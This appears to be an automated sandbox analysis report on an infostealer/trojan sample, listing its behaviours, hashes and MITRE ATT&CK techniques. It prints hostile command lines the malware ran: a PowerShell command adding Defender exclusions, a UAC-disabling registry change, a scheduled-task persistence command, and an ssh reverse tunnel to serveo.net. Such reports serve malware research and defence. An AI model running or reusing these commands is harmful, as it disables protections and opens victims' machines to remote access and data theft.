82e68bb4f56181a0b2458f2861aa7b5fa1bb0f4ce30907d579c3b92707ef2647

Analysis

max time kernel
148s
max time network
156s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
10-02-2024 15:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7e9a93c69aecfc2bbda9470fbd4556db.exe
Size

14KB
MD5

7e9a93c69aecfc2bbda9470fbd4556db
SHA1

ab0e810472a897affac1a761b49595939f6897a9
SHA256

82e68bb4f56181a0b2458f2861aa7b5fa1bb0f4ce30907d579c3b92707ef2647
SHA512

59abfa455c148c88959f992864de627857e950d9abb36b49efd979da4139a50847932d9577d658d0d793802ef5a6f6b91520440af2ff983dbf04126cf909d342
SSDEEP

384:1R8wtU1eai/zbM/XygkxOu6cyhLWi1fXlSW:1eCU1vi7blHhyhiij

Score

10^/10

collection discovery evasion spyware stealer trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

7e9a93c69aecfc2bbda9470fbd4556db.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7e9a93c69aecfc2bbda9470fbd4556db.exe

Executes dropped EXE 5 IoCs

Processes:

bwcqzlfu.g5v.exebwcqzlfu.g5v.exessh.exebwcqzlfu.g5v.exessh.exe

pid process

2040 bwcqzlfu.g5v.exe
2680 bwcqzlfu.g5v.exe
2164 ssh.exe
2784 bwcqzlfu.g5v.exe
2112 ssh.exe
Loads dropped DLL 3 IoCs

Processes:

7e9a93c69aecfc2bbda9470fbd4556db.exessh.exessh.exe

pid process

2180 7e9a93c69aecfc2bbda9470fbd4556db.exe
2164 ssh.exe
2112 ssh.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
2040	bwcqzlfu.g5v.exe
2680	bwcqzlfu.g5v.exe
2164	ssh.exe
2784	bwcqzlfu.g5v.exe
2112	ssh.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

Processes:

bwcqzlfu.g5v.exebwcqzlfu.g5v.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

7e9a93c69aecfc2bbda9470fbd4556db.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7e9a93c69aecfc2bbda9470fbd4556db.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7e9a93c69aecfc2bbda9470fbd4556db.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2912 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1616 timeout.exe

flow	ioc
8	ip-api.com

pid	process
2912	schtasks.exe

pid	process
1616	timeout.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

bwcqzlfu.g5v.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	bwcqzlfu.g5v.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	bwcqzlfu.g5v.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

7e9a93c69aecfc2bbda9470fbd4556db.exepowershell.exebwcqzlfu.g5v.exebwcqzlfu.g5v.exe

pid	process
2180	7e9a93c69aecfc2bbda9470fbd4556db.exe
2728	powershell.exe
2680	bwcqzlfu.g5v.exe
2680	bwcqzlfu.g5v.exe
2680	bwcqzlfu.g5v.exe
2784	bwcqzlfu.g5v.exe
2784	bwcqzlfu.g5v.exe
2784	bwcqzlfu.g5v.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

7e9a93c69aecfc2bbda9470fbd4556db.exepowershell.exebwcqzlfu.g5v.exebwcqzlfu.g5v.exebwcqzlfu.g5v.exe

description	pid	process
Token: SeDebugPrivilege	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2040	bwcqzlfu.g5v.exe
Token: SeDebugPrivilege	2680	bwcqzlfu.g5v.exe
Token: SeDebugPrivilege	2784	bwcqzlfu.g5v.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

7e9a93c69aecfc2bbda9470fbd4556db.exebwcqzlfu.g5v.execmd.exebwcqzlfu.g5v.execmd.execmd.exetaskeng.exebwcqzlfu.g5v.execmd.exe

description	pid	process	target process
PID 2180 wrote to memory of 2728	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	powershell.exe
PID 2180 wrote to memory of 2728	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	powershell.exe
PID 2180 wrote to memory of 2728	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	powershell.exe
PID 2180 wrote to memory of 2728	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	powershell.exe
PID 2180 wrote to memory of 2040	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	bwcqzlfu.g5v.exe
PID 2180 wrote to memory of 2040	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	bwcqzlfu.g5v.exe
PID 2180 wrote to memory of 2040	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	bwcqzlfu.g5v.exe
PID 2180 wrote to memory of 2040	2180	7e9a93c69aecfc2bbda9470fbd4556db.exe	bwcqzlfu.g5v.exe
PID 2040 wrote to memory of 268	2040	bwcqzlfu.g5v.exe	cmd.exe
PID 2040 wrote to memory of 268	2040	bwcqzlfu.g5v.exe	cmd.exe
PID 2040 wrote to memory of 268	2040	bwcqzlfu.g5v.exe	cmd.exe
PID 268 wrote to memory of 1512	268	cmd.exe	chcp.com
PID 268 wrote to memory of 1512	268	cmd.exe	chcp.com
PID 268 wrote to memory of 1512	268	cmd.exe	chcp.com
PID 268 wrote to memory of 1616	268	cmd.exe	timeout.exe
PID 268 wrote to memory of 1616	268	cmd.exe	timeout.exe
PID 268 wrote to memory of 1616	268	cmd.exe	timeout.exe
PID 268 wrote to memory of 2912	268	cmd.exe	schtasks.exe
PID 268 wrote to memory of 2912	268	cmd.exe	schtasks.exe
PID 268 wrote to memory of 2912	268	cmd.exe	schtasks.exe
PID 268 wrote to memory of 2680	268	cmd.exe	bwcqzlfu.g5v.exe
PID 268 wrote to memory of 2680	268	cmd.exe	bwcqzlfu.g5v.exe
PID 268 wrote to memory of 2680	268	cmd.exe	bwcqzlfu.g5v.exe
PID 2680 wrote to memory of 1864	2680	bwcqzlfu.g5v.exe	cmd.exe
PID 2680 wrote to memory of 1864	2680	bwcqzlfu.g5v.exe	cmd.exe
PID 2680 wrote to memory of 1864	2680	bwcqzlfu.g5v.exe	cmd.exe
PID 1864 wrote to memory of 636	1864	cmd.exe	chcp.com
PID 1864 wrote to memory of 636	1864	cmd.exe	chcp.com
PID 1864 wrote to memory of 636	1864	cmd.exe	chcp.com
PID 1864 wrote to memory of 1584	1864	cmd.exe	netsh.exe
PID 1864 wrote to memory of 1584	1864	cmd.exe	netsh.exe
PID 1864 wrote to memory of 1584	1864	cmd.exe	netsh.exe
PID 1864 wrote to memory of 2468	1864	cmd.exe	findstr.exe
PID 1864 wrote to memory of 2468	1864	cmd.exe	findstr.exe
PID 1864 wrote to memory of 2468	1864	cmd.exe	findstr.exe
PID 2680 wrote to memory of 2088	2680	bwcqzlfu.g5v.exe	cmd.exe
PID 2680 wrote to memory of 2088	2680	bwcqzlfu.g5v.exe	cmd.exe
PID 2680 wrote to memory of 2088	2680	bwcqzlfu.g5v.exe	cmd.exe
PID 2088 wrote to memory of 1304	2088	cmd.exe	chcp.com
PID 2088 wrote to memory of 1304	2088	cmd.exe	chcp.com
PID 2088 wrote to memory of 1304	2088	cmd.exe	chcp.com
PID 2088 wrote to memory of 2084	2088	cmd.exe	netsh.exe
PID 2088 wrote to memory of 2084	2088	cmd.exe	netsh.exe
PID 2088 wrote to memory of 2084	2088	cmd.exe	netsh.exe
PID 2088 wrote to memory of 2256	2088	cmd.exe	findstr.exe
PID 2088 wrote to memory of 2256	2088	cmd.exe	findstr.exe
PID 2088 wrote to memory of 2256	2088	cmd.exe	findstr.exe
PID 2680 wrote to memory of 2164	2680	bwcqzlfu.g5v.exe	ssh.exe
PID 2680 wrote to memory of 2164	2680	bwcqzlfu.g5v.exe	ssh.exe
PID 2680 wrote to memory of 2164	2680	bwcqzlfu.g5v.exe	ssh.exe
PID 2680 wrote to memory of 2164	2680	bwcqzlfu.g5v.exe	ssh.exe
PID 2836 wrote to memory of 2784	2836	taskeng.exe	bwcqzlfu.g5v.exe
PID 2836 wrote to memory of 2784	2836	taskeng.exe	bwcqzlfu.g5v.exe
PID 2836 wrote to memory of 2784	2836	taskeng.exe	bwcqzlfu.g5v.exe
PID 2784 wrote to memory of 2112	2784	bwcqzlfu.g5v.exe	ssh.exe
PID 2784 wrote to memory of 2112	2784	bwcqzlfu.g5v.exe	ssh.exe
PID 2784 wrote to memory of 2112	2784	bwcqzlfu.g5v.exe	ssh.exe
PID 2784 wrote to memory of 2112	2784	bwcqzlfu.g5v.exe	ssh.exe
PID 2784 wrote to memory of 2684	2784	bwcqzlfu.g5v.exe	cmd.exe
PID 2784 wrote to memory of 2684	2784	bwcqzlfu.g5v.exe	cmd.exe
PID 2784 wrote to memory of 2684	2784	bwcqzlfu.g5v.exe	cmd.exe
PID 2684 wrote to memory of 1264	2684	cmd.exe	chcp.com
PID 2684 wrote to memory of 1264	2684	cmd.exe	chcp.com
PID 2684 wrote to memory of 1264	2684	cmd.exe	chcp.com

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

Processes:

7e9a93c69aecfc2bbda9470fbd4556db.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7e9a93c69aecfc2bbda9470fbd4556db.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

bwcqzlfu.g5v.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe

outlook_win_path 1 IoCs

Processes:

bwcqzlfu.g5v.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bwcqzlfu.g5v.exe

C:\Users\Admin\AppData\Local\Temp\7e9a93c69aecfc2bbda9470fbd4556db.exe
"C:\Users\Admin\AppData\Local\Temp\7e9a93c69aecfc2bbda9470fbd4556db.exe"
1⤵
- UAC bypass
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7e9a93c69aecfc2bbda9470fbd4556db.exe'; Add-MpPreference -ExclusionProcess '7e9a93c69aecfc2bbda9470fbd4556db'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728

C:\Users\Admin\AppData\Local\Temp\bwcqzlfu.g5v.exe
"C:\Users\Admin\AppData\Local\Temp\bwcqzlfu.g5v.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "bwcqzlfu.g5v" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\bwcqzlfu.g5v.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\bwcqzlfu.g5v.exe" &&START "" "C:\Users\Admin\AppData\Local\RobloxSecurity\bwcqzlfu.g5v.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:268

C:\Windows\system32\chcp.com
chcp 65001
4⤵
PID:1512

C:\Windows\system32\timeout.exe
timeout /t 3
4⤵
- Delays execution with timeout.exe
PID:1616

C:\Windows\system32\schtasks.exe
schtasks /create /tn "bwcqzlfu.g5v" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\bwcqzlfu.g5v.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:2912

C:\Users\Admin\AppData\Local\RobloxSecurity\bwcqzlfu.g5v.exe
"C:\Users\Admin\AppData\Local\RobloxSecurity\bwcqzlfu.g5v.exe"
4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680

C:\Windows\system32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
5⤵
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\system32\chcp.com
chcp 65001
6⤵
PID:636

C:\Windows\system32\netsh.exe
netsh wlan show profiles
6⤵
PID:1584

C:\Windows\system32\findstr.exe
findstr /R /C:"[ ]:[ ]"
6⤵
PID:2468

C:\Windows\system32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
5⤵
- Suspicious use of WriteProcessMemory
PID:2088

C:\Windows\system32\chcp.com
chcp 65001
6⤵
PID:1304

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
6⤵
PID:2084

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
6⤵
PID:2256

C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\ssh.exe
"C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:7224 serveo.net
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2164

C:\Windows\system32\taskeng.exe
taskeng.exe {FF8DD7B9-23CC-4C32-AA5B-8A50D99FEA5A} S-1-5-21-2444714103-3190537498-3629098939-1000:DJLAPDMX\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2836

C:\Users\Admin\AppData\Local\RobloxSecurity\bwcqzlfu.g5v.exe
C:\Users\Admin\AppData\Local\RobloxSecurity\bwcqzlfu.g5v.exe
2⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:2784

C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\ssh.exe
"C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:7224 serveo.net
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2112

C:\Windows\system32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
3⤵
- Suspicious use of WriteProcessMemory
PID:2684

C:\Windows\system32\chcp.com
chcp 65001
4⤵
PID:1264

C:\Windows\system32\netsh.exe
netsh wlan show profiles
4⤵
PID:528

C:\Windows\system32\findstr.exe
findstr /R /C:"[ ]:[ ]"
4⤵
PID:1176

C:\Windows\system32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
3⤵
PID:2944

C:\Windows\system32\chcp.com
chcp 65001
4⤵
PID:2764

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
4⤵
PID:2904

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
4⤵
PID:1508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ssh\known_hosts

Filesize
393B

MD5
18015a60cd12f33648facec1263cfafa

SHA1
31b7afd9a2dc51bfad694e5772d430fceedbac3f

SHA256
9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190

SHA512
fcdb2e02f01c59916eaa08baeb74cc2f61eed6d96873f41a2299b752b9ec1af5db74a6eac6013c9a45a77d0bbc0431590f16fa74cff779eea97383e2fe073925

Download Submit
C:\Users\Admin\AppData\Local\4cn9n9irdf\p.dat

Filesize
4B

MD5
b11b7e3409b27e5c6e332399362105f8

SHA1
d7931619b2a07abee5ae908504218d735d8fcc09

SHA256
17674574828520aa5f240bbbdf40521549a514c0145e431f11e494d9923073c7

SHA512
93d79ab4f0a68a6cf6ca9cb024850e36392d46976bf80d7a35933d7b17c762897bdb7ec772923f7516e09c3ad7cef4ce711bb829a066ed225a485b30bd484dba

Download Submit
C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\libcrypto.dll

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\ssh.exe

Filesize
584KB

MD5
3ff552d216692298dcf7390b4d96a0b4

SHA1
6ff6e3bb89396bd9ad25a165848f8e0333133cf7

SHA256
b9b417a49a24d63f59f3640f6a68ae0f299e13496247dc308cfba42ad033de86

SHA512
2ded9037271659c23c8f08f23e8e8ec16ce18a7f0a1ae4fb1fb1a79227f7d7a0bbce2c10644e4f05893bc87974f2147bc959aee35b4635b037d1bef423c83be9

Download Submit
C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\ssh.exe

Filesize
192KB

MD5
3700551fa60ca626ea4c703836838e7a

SHA1
32dcbd81c2f84c9b70c129cfe71ea1799b585100

SHA256
36813f1a9f8e54a0e8e85e6069f65c08034d8af1464293d90742edf2a729b6fd

SHA512
2f5934f48f1e454b97a157e51294d70cd66bdfec4e069c1f7057858a5bacec67670c35023b5296194a662f678a55d2bfa9fc724f1fd372c0237e13bbc16df762

Download Submit
C:\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
\Users\Admin\AppData\Local\RobloxSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
448KB

MD5
6f4ad5a4b77c17a7024559cd1b6045fb

SHA1
370aeb03091deaf194458aa71315948961212b62

SHA256
c22a2602a221282cbff7bc12fdbc55341dd29824d569d46f0d66c771613dde8d

SHA512
e5724533031f5f51d794e0088230ef6945991012e6a4962ff66e78a03f89e28196e72f831eede7828ed97628d3571bf8407139fbd4581f29ac4d44a0f6d620b1

Download Submit
\Users\Admin\AppData\Local\Temp\bwcqzlfu.g5v.exe

Filesize
128KB

MD5
869f82df0992dc2f5155d8f69fd1c9cf

SHA1
5b48d32aca1f7705c03e2bd592f68a2b9c9a7a22

SHA256
d77412b72a893ee96e82d7efbd9fc2612176da00df5ebc066c13c303f558bcc9

SHA512
b0f0e7f6354b64cac887600690531ba93f8aeb79e746fb9848c5f16f09931e3d8b5c2ad2a617fb9c978020450b4f717f9485d468b9c6098e6f319a59b26fad19

Download Submit
memory/2040-19-0x0000000000DE0000-0x0000000000E04000-memory.dmp

Filesize
144KB

Download
memory/2040-20-0x000007FEF5D90000-0x000007FEF677C000-memory.dmp

Filesize
9.9MB

Download
memory/2040-21-0x000000001B3A0000-0x000000001B420000-memory.dmp

Filesize
512KB

Download
memory/2040-24-0x000007FEF5D90000-0x000007FEF677C000-memory.dmp

Filesize
9.9MB

Download
memory/2180-17-0x0000000000720000-0x0000000000760000-memory.dmp

Filesize
256KB

Download
memory/2180-18-0x0000000074C60000-0x000000007534E000-memory.dmp

Filesize
6.9MB

Download
memory/2180-10-0x0000000000720000-0x0000000000760000-memory.dmp

Filesize
256KB

Download
memory/2180-0-0x0000000000250000-0x000000000025A000-memory.dmp

Filesize
40KB

Download
memory/2180-9-0x0000000074C60000-0x000000007534E000-memory.dmp

Filesize
6.9MB

Download
memory/2180-1-0x0000000074C60000-0x000000007534E000-memory.dmp

Filesize
6.9MB

Download
memory/2680-28-0x00000000003D0000-0x00000000003F4000-memory.dmp

Filesize
144KB

Download
memory/2680-30-0x000000001B3F0000-0x000000001B470000-memory.dmp

Filesize
512KB

Download
memory/2680-29-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2680-146-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2728-8-0x0000000070D00000-0x00000000712AB000-memory.dmp

Filesize
5.7MB

Download
memory/2728-7-0x00000000023D0000-0x0000000002410000-memory.dmp

Filesize
256KB

Download
memory/2728-6-0x00000000023D0000-0x0000000002410000-memory.dmp

Filesize
256KB

Download
memory/2728-5-0x0000000070D00000-0x00000000712AB000-memory.dmp

Filesize
5.7MB

Download
memory/2728-4-0x0000000070D00000-0x00000000712AB000-memory.dmp

Filesize
5.7MB

Download
memory/2784-148-0x000000001B110000-0x000000001B190000-memory.dmp

Filesize
512KB

Download
memory/2784-147-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2784-154-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2784-155-0x000000001B110000-0x000000001B190000-memory.dmp

Filesize
512KB

Download